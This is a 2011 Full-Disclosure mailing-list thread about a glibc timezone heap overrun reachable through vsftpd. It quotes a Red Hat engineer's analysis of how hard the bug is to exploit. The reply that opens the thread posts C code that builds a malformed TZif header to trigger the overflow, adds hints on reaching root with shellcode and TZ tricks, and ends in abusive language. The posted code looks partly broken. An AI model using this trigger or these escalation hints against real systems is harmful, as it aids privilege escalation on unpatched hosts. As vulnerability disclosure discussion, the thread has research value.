[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)

There is, an exploit for this.. if you look around... it also,
works...and, u do have the src... i will pastebin it, just to makesure
no one cries :s

#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <string.h>

#define TZ_MAGIC        "TZif"

#define PUT_32BIT_MSB(cp, value)                                        \
do {                                                            \
(cp)[0] = (value) >> 24;                                \
(cp)[1] = (value) >> 16;                                \
(cp)[2] = (value) >> 8;                                 \
(cp)[3] = (value);                                      \
} while (0)

struct tzhead {
        char    tzh_magic[4];
        char    tzh_version[1];
        char    tzh_reserved[15];
        char    tzh_ttisgmtcnt[4];
        char    tzh_ttisstdcnt[4];
        char    tzh_leapcnt[4];
        char    tzh_timecnt[4];
        char    tzh_typecnt[4];
        char    tzh_charcnt[4];
};
struct ttinfo {
    long int offset;
    unsigned char isdst;
    unsigned char idx;
    unsigned char isstd;
    unsigned char isgmt;
};

int main(void) {
        struct tzhead evil;
        int i;
        char *p;
        uint32_t total_size;
        uint32_t evil1, evil2;
        memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
        evil.tzh_version[0] = 0;
        memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
        memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
        memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
        memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
        memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
        evil1 = 500;
        PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
        total_size = evil1 * (sizeof(time_t) + 1);
        total_size = ((total_size + __alignof__ (struct ttinfo) - 1) &
~(__alignof__ (struct ttinfo) - 1));
        evil2 = 0 - total_size;
        PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
        p = (char *)&evil;
        for (i = 0; i < sizeof(evil); i++)
        printf("%c", p[i]);
        putenv("TZ=`pwd`/%s",evil);
        for (i = 0; i < 50000; i++)
        //printf("[+] Got root ..\n");
         printf("A");
}

Sorry but, i did remove the exec line and setuid but, also you must
setend TX=/path/to/nice/shell ,and then you might get somewhere... it
is tricky, as there is the setenv, wichcan be done, i have made that
happen, but, it takes anopther .c file for this... but, i did also,
modify this original one by someone else, wich, only prints...the
overflow and trigger./.but, to get root, you must play with bash
alittle...but yea, it is verymuch also a propblem, anyhow, i was
recently involved with tzdata patch, and, i had reported bugs goin
back ages... anyhow, thx to dividead for his Timezone stuff... but, it
is tricky one..but, very good :P , like, if setup similar to a
sendpage socket to socket, you may be able to send shellcode, to
unset/setenv TZ= , so then it can exec, but, unless it calls that
before adding setuid(0); etc... it wont work on prolly, anything...
dividead made a grat post on it but, i have already hinted at bugs in
glib b4, guess, i dont like to give away, what kids dont need...
anyhow this is working buffer overflow for that CVE exactly.
have fucking fun assholes ./rant


On 10 December 2011 10:47, HI-TECH .
<isowarez.isowarez.isowarez@xxxxxxxxxxxxxx> wrote:
> ---------- Weitergeleitete Nachricht ----------
> Von: HI-TECH . <isowarez.isowarez.isowarez@xxxxxxxxxxxxxx>
> Datum: 10. Dezember 2011 00:44
> Betreff: Re: [Full-disclosure] VSFTPD Remote Heap Overrun (low severity)
> An: Ramon de C Valle <rcvalle@xxxxxxxxxx>
>
>
> Hi Ramon,
> Frankly I didn't look into the possibility to exploit this vulnerability,
> so i do not know if it is easy or hard to exploit. As you outlined
> it is difficult, during your audit you did not manage to trigger a
> function pointer call? :> i guess not
> I am not much into exploiting heap based overruns in the old times fashion.
> BTW both freebsd and pure-ftpd load locale files (strace it and you
> will see) from /usr,
> these locale files are used for the ftp responses to make them written
> in international language.
> FreeBSD ftpd in junction with the locale files loading will SIGSEGV
> (EIP overwrite)
> due to a strcpy in locale responses in a special codepath. I did not
> find a way to exploit Pure-FTPD through this
> locale loading tough, because Pure-FTPD is very restrictive in many ways even
> on response lines but there might be a vuln there too. (I dont
> remember if locale loading was only
> on FreeBSD or also on Linux or also in vsftpd, since the libc behaves
> very different in BSD/glibc/eglibc etc)
>
> Regards,
>
> Kingcope
>
>
> Am 9. Dezember 2011 19:32 schrieb Ramon de C Valle <rcvalle@xxxxxxxxxx>:
>>> This is afaik a patched CVE in Linux glibc [1] which can be triggered 
>>> through
>>> the very secure ftp daemon [2] so it will only work on older linux distros.
>>> Be aware that vsftpd has privilege seperation built in so this bug
>>> will not yield a root shell.
>>> It could yield root only in junction with a linux kernel vulnerability
>>> because the attacker
>>> will not be able to break the chroot without being root.
>>> This bug has a low severity because it's hard to exploit.
>>> Linux systems without patched glibc are vulnerable even if the latest
>>> version vsftpd-2.3.4 is installed.
>>> The bug is in the glibc timezone code. vsftpd loads timezone files
>>> from /usr [3]. If the attacker is inside a chroot
>>> he can easily create this directory and the timezone file and trigger
>>> the heap overrun.
>>>
>>> A Debugging Session illustrating the bug can be found on youtube:
>>> http://www.youtube.com/watch?v=KRCuozBM_dQ
>> I did a brief analysis of this issue. And it seems vsftpd does not add 
>> anything to this as an attack vector. Althought we can control the size of 
>> the chunk to be allocated (i.e. transitions), and can arbitrarily allocate 
>> this chunk from fast bins, the main arena, or eventually, a new mmap()'ed 
>> heap. We do not have any control over when its adjacent chunks are 
>> allocated, freed, the type of their contents, when they will be used, how 
>> they will be used, and if they will be used and useful at all. In addition, 
>> the data used to overflow (i.e. transition times) are read and decoded as 
>> 4-byte integers in network (big-endian) byte order, which increases the 
>> difficulty in faking any structure, such as the adjacent allocated chunk to, 
>> at least, get outside of glibc scope after the overflow--since all return 
>> paths from __tzfile_read frees our controlled previously allocated chunk.
>>
>> Do you or anyone know a way to potentially exploit this vulnerability?
>>
>>>
>>> Cheers!
>> Thanks,
>>
>>>
>>>[1] http://dividead.wordpress.com/tag/heap-overflow/
>>>[2] https://security.appspot.com/vsftpd.html
>>>[3] For example /usr/share/zoneinfo/UTC-01:00
>>>
>>>/Kingcope
>>
>>
>> --
>> Ramon de C Valle / Red Hat Security Response Team
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/